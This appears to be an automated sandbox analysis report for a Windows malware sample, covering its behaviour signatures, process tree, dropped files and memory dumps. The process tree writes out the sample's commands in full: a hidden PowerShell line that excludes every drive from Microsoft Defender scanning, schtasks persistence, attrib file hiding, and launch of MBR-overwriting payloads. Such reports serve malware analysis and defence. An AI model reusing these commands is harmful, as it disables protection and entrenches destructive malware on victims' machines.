Analysis

  • user interaction
    yes
  • max time kernel
    160s
  • max time network
    178s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/07/2026, 03:59

Errors

Reason
Machine shutdown

General

  • Target
    Output.exe
  • Size 2.4MB
  • Sample260730-eke1qssxcs
  • SHA256 2535dce0ca29cce2e125749bc5dbc1ab4858c49aaa045e662c6c9613042ce083
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 9 IoCs
  • Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 1 IoCs

    Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

  • Drops desktop.ini file(s) 7 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Hide Artifacts: Hidden Window 1 TTPs 1 IoCs

    Windows that would typically be displayed when an application carries out an operation can be hidden.

  • Indicator Removal: Clear Persistence 1 TTPs 1 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Checks system information in the registry 2 TTPs 8 IoCs

    System information is often read in order to detect sandboxing environments.

  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Modifies registry class 4 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 49 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 26 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Output.exe
    "C:\Users\Admin\AppData\Local\Temp\Output.exe"
    1⤵
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:4680
    • C:\Users\Admin\AppData\Local\Temp\MasonClient.bat
      "C:\Users\Admin\AppData\Local\Temp\MasonClient.bat"
      2⤵
      • Executes dropped EXE
      • Checks system information in the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2408
      • C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\CredentialMgrBroker.exe
        "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\CredentialMgrBroker.exe" --r
        3⤵
        • Executes dropped EXE
        • Checks system information in the registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:5704
        • C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\CredentialMgrBroker.exe
          "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\CredentialMgrBroker.exe" --wd 5704
          4⤵
          • Executes dropped EXE
          • Checks system information in the registry
          • Suspicious behavior: EnumeratesProcesses
          PID:1776
        • C:\Windows\SYSTEM32\cmd.exe
          cmd.exe /c chcp 65001 >nul && ƒ „!ö˜÷30ª³@‘B¸ï묀…¹)œë­@dlaâú£dÑN/Ú“•[”–M顿a£ýá?,`ŽÊ¡Fˆ¡ròÓ`„ª÷øbŠQ¹‘Â×n­ê
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3876
          • C:\Windows\system32\chcp.com
            chcp 65001
            5⤵
              PID:2624
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "[Console]::OutputEncoding=[Text.Encoding]::UTF8;Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
            4⤵
            • Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
            • Hide Artifacts: Hidden Window
            • Hide Artifacts: Ignore Process Interrupts
            • Suspicious use of WriteProcessMemory
            PID:4808
            • C:\Windows\system32\chcp.com
              chcp 65001
              5⤵
                PID:3404
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "[Console]::OutputEncoding=[Text.Encoding]::UTF8;Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
                5⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:3924
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c chcp 65001 >nul && schtasks /create /f /sc onlogon /tn "CredentialMgrBroker" /tr "\"C:\Users\Admin\AppData\Roaming\CredentialMgrBroker.exe\"" /ru ""
              4⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:5620
              • C:\Windows\system32\chcp.com
                chcp 65001
                5⤵
                  PID:2080
                • C:\Windows\system32\schtasks.exe
                  schtasks /create /f /sc onlogon /tn "CredentialMgrBroker" /tr "\"C:\Users\Admin\AppData\Roaming\CredentialMgrBroker.exe\"" /ru ""
                  5⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:4940
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c chcp 65001 >nul && attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\CredentialMgrBroker.exe"
                4⤵
                • Hide Artifacts: Hidden Files and Directories
                • Suspicious use of WriteProcessMemory
                PID:2728
                • C:\Windows\system32\chcp.com
                  chcp 65001
                  5⤵
                    PID:768
                  • C:\Windows\system32\attrib.exe
                    attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\CredentialMgrBroker.exe"
                    5⤵
                    • Views/modifies file attributes
                    PID:4492
                • C:\Windows\SYSTEM32\cmd.exe
                  cmd.exe /c chcp 65001 >nul && schtasks /create /tn "mu_4140_240916328" /tr "\"C:\Users\Admin\AppData\Local\Temp\72y99x.COM\"" /sc once /st 00:00 /f /it >nul 2>&1 && schtasks /run /tn "mu_4140_240916328" >nul 2>&1 && ping -n 3 127.0.0.1 >nul 2>&1 && schtasks /delete /tn "mu_4140_240916328" /f >nul 2>&1
                  4⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:5500
                  • C:\Windows\system32\chcp.com
                    chcp 65001
                    5⤵
                      PID:3504
                    • C:\Windows\system32\schtasks.exe
                      schtasks /create /tn "mu_4140_240916328" /tr "\"C:\Users\Admin\AppData\Local\Temp\72y99x.COM\"" /sc once /st 00:00 /f /it
                      5⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:788
                    • C:\Windows\system32\schtasks.exe
                      schtasks /run /tn "mu_4140_240916328"
                      5⤵
                        PID:1492
                      • C:\Windows\system32\PING.EXE
                        ping -n 3 127.0.0.1
                        5⤵
                        • System Network Configuration Discovery: Internet Connection Discovery
                        • Runs ping.exe
                        PID:4508
                      • C:\Windows\system32\schtasks.exe
                        schtasks /delete /tn "mu_4140_240916328" /f
                        5⤵
                          PID:708
                      • C:\Users\Admin\AppData\Local\Temp\72y99x.COM
                        "C:\Users\Admin\AppData\Local\Temp\72y99x.COM"
                        4⤵
                        • Executes dropped EXE
                        PID:2656
                        • C:\Users\Admin\AppData\Local\Temp\MBR2.exe
                          "C:\Users\Admin\AppData\Local\Temp\MBR2.exe"
                          5⤵
                            PID:3340
                            • C:\Windows\System32\MatrixMBR.exe
                              "C:\Windows\System32\MatrixMBR.exe"
                              6⤵
                                PID:5368
                                • C:\Users\Admin\AppData\Local\Temp\GDI.exe
                                  "C:\Users\Admin\AppData\Local\Temp\GDI.exe"
                                  7⤵
                                    PID:3804
                                  • C:\Users\Admin\AppData\Local\Temp\MBR.exe
                                    "C:\Users\Admin\AppData\Local\Temp\MBR.exe"
                                    7⤵
                                      PID:1380
                                • C:\Users\Admin\AppData\Local\Temp\TROLL5.exe
                                  "C:\Users\Admin\AppData\Local\Temp\TROLL5.exe"
                                  5⤵
                                    PID:2344
                                  • C:\Users\Admin\AppData\Local\Temp\TROLL2.exe
                                    "C:\Users\Admin\AppData\Local\Temp\TROLL2.exe"
                                    5⤵
                                      PID:1040
                            • C:\Program Files (x86)\Windows Media Player\wmplayer.exe
                              "C:\Program Files (x86)\Windows Media Player\wmplayer.exe" /Play -Embedding
                              1⤵
                              • Drops desktop.ini file(s)
                              • Enumerates connected drives
                              • System Location Discovery: System Language Discovery
                              • Modifies registry class
                              • Suspicious use of AdjustPrivilegeToken
                              • Suspicious use of FindShellTrayWindow
                              • Suspicious use of WriteProcessMemory
                              PID:2776
                              • C:\Windows\SysWOW64\unregmp2.exe
                                "C:\Windows\System32\unregmp2.exe" /AsyncFirstLogon
                                2⤵
                                • System Location Discovery: System Language Discovery
                                • Suspicious use of WriteProcessMemory
                                PID:4444
                                • C:\Windows\system32\unregmp2.exe
                                  "C:\Windows\SysNative\unregmp2.exe" /AsyncFirstLogon /REENTRANT
                                  3⤵
                                  • Enumerates connected drives
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:4116
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s upnphost
                              1⤵
                              • Drops file in Windows directory
                              PID:4468
                            • C:\Users\Admin\AppData\Roaming\CredentialMgrBroker.exe
                              "C:\Users\Admin\AppData\Roaming\CredentialMgrBroker.exe"
                              1⤵
                              • Executes dropped EXE
                              • Checks system information in the registry
                              • Suspicious behavior: EnumeratesProcesses
                              PID:1556
                            • C:\Users\Admin\AppData\Local\Temp\72y99x.COM
                              "C:\Users\Admin\AppData\Local\Temp\72y99x.COM"
                              1⤵
                              • Executes dropped EXE
                              • Suspicious use of WriteProcessMemory
                              PID:2228
                              • C:\Users\Admin\AppData\Local\Temp\MBR2.exe
                                "C:\Users\Admin\AppData\Local\Temp\MBR2.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:992
                                • C:\Windows\System32\MatrixMBR.exe
                                  "C:\Windows\System32\MatrixMBR.exe"
                                  3⤵
                                    PID:3668
                                    • C:\Users\Admin\AppData\Local\Temp\GDI.exe
                                      "C:\Users\Admin\AppData\Local\Temp\GDI.exe"
                                      4⤵
                                        PID:1284
                                      • C:\Users\Admin\AppData\Local\Temp\MBR.exe
                                        "C:\Users\Admin\AppData\Local\Temp\MBR.exe"
                                        4⤵
                                          PID:1348
                                    • C:\Users\Admin\AppData\Local\Temp\TROLL5.exe
                                      "C:\Users\Admin\AppData\Local\Temp\TROLL5.exe"
                                      2⤵
                                      • Executes dropped EXE
                                      • System Location Discovery: System Language Discovery
                                      PID:3000
                                    • C:\Users\Admin\AppData\Local\Temp\TROLL2.exe
                                      "C:\Users\Admin\AppData\Local\Temp\TROLL2.exe"
                                      2⤵
                                      • Executes dropped EXE
                                      • System Location Discovery: System Language Discovery
                                      PID:252
                                  • C:\Windows\system32\AUDIODG.EXE
                                    C:\Windows\system32\AUDIODG.EXE 0x00000000000004EC 0x00000000000004E8
                                    1⤵
                                      PID:3520

                                    Network

                                          MITRE ATT&CK Enterprise v16

                                          Replay Monitor

                                          Loading Replay Monitor...

                                          Downloads

                                          CurrentDatabase_400.wmdb

                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb
                                          • Size 256KB
                                          • SHA256 a776aec276440a16f14379a39728055b65a189b782fbf84072791e16992badd2
                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                          CurrentDatabase_400.wmdb

                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb
                                          • Size 1024KB
                                          • SHA256 931e3c5ee4139948f704a075be918563ee13b55f30569c75da0ce7c56f0f2036
                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                          LocalMLS_3.wmdb

                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Media Player\LocalMLS_3.wmdb
                                          • Size 68KB
                                          • SHA256 48a82dfcff27437606725ec9f4801dcad8b72e69f59aed224b9d1ca4001531db
                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                          WMSDKNS.XML.bak

                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows Media\12.0\WMSDKNS.XML.bak
                                          • Size 9KB
                                          • SHA256 cb87767c4a384c24e4a0f88455f59101b1ae7b4fb8de8a5adb4136c5f7ee545b
                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                          72y99x.COM

                                          • Path C:\Users\Admin\AppData\Local\Temp\72y99x.COM
                                          • Size 921KB
                                          • SHA256 c1aeab35f61f12db28274d82713bff400b808625854a18e49504022f92805e31
                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                          GDI.exe

                                          • Path C:\Users\Admin\AppData\Local\Temp\GDI.exe
                                          • Size 11KB
                                          • SHA256 e153def894c867923dd56a7025b7b0b7bd3ee37c801a5957201d39f999bb28bf
                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                          MBR.exe

                                          • Path C:\Users\Admin\AppData\Local\Temp\MBR.exe
                                          • Size 93KB
                                          • SHA256 acddde9514e3b9d5c40b3d1750af5f4187c99f8987b027d6da44fb6bcf79b3ca
                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                          MBR2.exe

                                          • Path C:\Users\Admin\AppData\Local\Temp\MBR2.exe
                                          • Size 205KB
                                          • SHA256 c22e2419f04fe03a92255a139ca8814697962e86d191a1d4171788fd0c903f68
                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                          MasonClient.bat

                                          • Path C:\Users\Admin\AppData\Local\Temp\MasonClient.bat
                                          • Size 657KB
                                          • SHA256 df100e1666f9fca4da628af3328fd969ddf5426a6c69a39b84997f66b8e1a7ea
                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                          ScreenRecording_--_--_1.mov

                                          • Path C:\Users\Admin\AppData\Local\Temp\ScreenRecording_--_--_1.mov
                                          • Size 1.5MB
                                          • SHA256 d344c5524123c5d0288969c2adce3b5d49509e9666b89bf26a324c516ef3474d
                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                          TROLL2.exe

                                          • Path C:\Users\Admin\AppData\Local\Temp\TROLL2.exe
                                          • Size 105KB
                                          • SHA256 dcdf5140bc51db27f3aec80ae9a66a57aad446a2522904d288770e8d8cde8cee
                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                          TROLL5.exe

                                          • Path C:\Users\Admin\AppData\Local\Temp\TROLL5.exe
                                          • Size 712KB
                                          • SHA256 79f00c7dab0891824136539fabd542c74e26cbed94b9add3f1aa7f793d653de6
                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                          wmsetup.log

                                          • Path C:\Users\Admin\AppData\Local\Temp\wmsetup.log
                                          • Size 1KB
                                          • SHA256 98e904493410279c0d2b9f4a5cb0f387a817c8a896785763bac4b503f1a455b8
                                          • MD5 SHA1 SHA512 TLSH

                                          MatrixMBR.exe

                                          • Path C:\Windows\System32\MatrixMBR.exe
                                          • Size 250KB
                                          • SHA256 339fe94164952a8454e6ec5fc75e2c38baade2c14b231e47bf41989ffbb55ee4
                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                          memory/252-172-0x0000000000400000-0x000000000041D000-memory.dmp

                                          memory/992-140-0x0000000000AA0000-0x0000000000ADA000-memory.dmp

                                          memory/1040-177-0x0000000000400000-0x000000000041D000-memory.dmp

                                          memory/1284-193-0x00000000000C0000-0x00000000000C8000-memory.dmp

                                          memory/1556-76-0x00007FF660840000-0x00007FF660901000-memory.dmp

                                          memory/1776-78-0x00007FF68DF60000-0x00007FF68E021000-memory.dmp

                                          memory/2228-121-0x00000000008F0000-0x00000000009DC000-memory.dmp

                                          memory/2228-122-0x0000000002A50000-0x0000000002B34000-memory.dmp

                                          memory/2408-61-0x00007FF6BFB30000-0x00007FF6BFBF1000-memory.dmp

                                          memory/2656-124-0x000000001BAC0000-0x000000001BBA4000-memory.dmp

                                          memory/2776-71-0x0000000007620000-0x0000000007630000-memory.dmp

                                          memory/2776-73-0x0000000007620000-0x0000000007630000-memory.dmp

                                          memory/2776-48-0x0000000007620000-0x0000000007630000-memory.dmp

                                          memory/2776-45-0x0000000007620000-0x0000000007630000-memory.dmp

                                          memory/2776-47-0x0000000007620000-0x0000000007630000-memory.dmp

                                          memory/2776-74-0x0000000007620000-0x0000000007630000-memory.dmp

                                          memory/2776-94-0x00000000049B0000-0x00000000049C0000-memory.dmp

                                          memory/2776-70-0x0000000007620000-0x0000000007630000-memory.dmp

                                          memory/2776-46-0x0000000007620000-0x0000000007630000-memory.dmp

                                          memory/3000-153-0x0000000000140000-0x00000000001F8000-memory.dmp

                                          memory/3000-154-0x00000000052C0000-0x000000000587A000-memory.dmp

                                          memory/3000-158-0x0000000004D20000-0x0000000004D2A000-memory.dmp

                                          memory/3000-155-0x0000000004DA0000-0x0000000004E32000-memory.dmp

                                          memory/3668-171-0x0000000000F00000-0x0000000000F46000-memory.dmp

                                          memory/3924-67-0x000001E86DCF0000-0x000001E86DD0E000-memory.dmp

                                          memory/3924-68-0x000001E86DD10000-0x000001E86DDC2000-memory.dmp

                                          memory/3924-64-0x000001E86DA50000-0x000001E86DA72000-memory.dmp

                                          memory/3924-69-0x000001E86DDD0000-0x000001E86DDDA000-memory.dmp

                                          memory/4680-0-0x00007FFB528AF000-0x00007FFB528B0000-memory.dmp

                                          memory/4680-3-0x00007FFB52720000-0x00007FFB530C4000-memory.dmp

                                          memory/4680-9-0x00007FFB52720000-0x00007FFB530C4000-memory.dmp

                                          memory/4680-59-0x00007FFB52720000-0x00007FFB530C4000-memory.dmp

                                          memory/4680-4-0x00007FFB52720000-0x00007FFB530C4000-memory.dmp

                                          memory/4680-1-0x00000000008D0000-0x0000000000B34000-memory.dmp

                                          memory/4680-39-0x00007FFB52720000-0x00007FFB530C4000-memory.dmp

                                          memory/5704-77-0x00007FF68DF60000-0x00007FF68E021000-memory.dmp

                                          memory/5704-156-0x00007FF68DF60000-0x00007FF68E021000-memory.dmp

                                          memory/5704-104-0x00007FF68DF60000-0x00007FF68E021000-memory.dmp

                                          memory/5704-100-0x00007FF68DF60000-0x00007FF68E021000-memory.dmp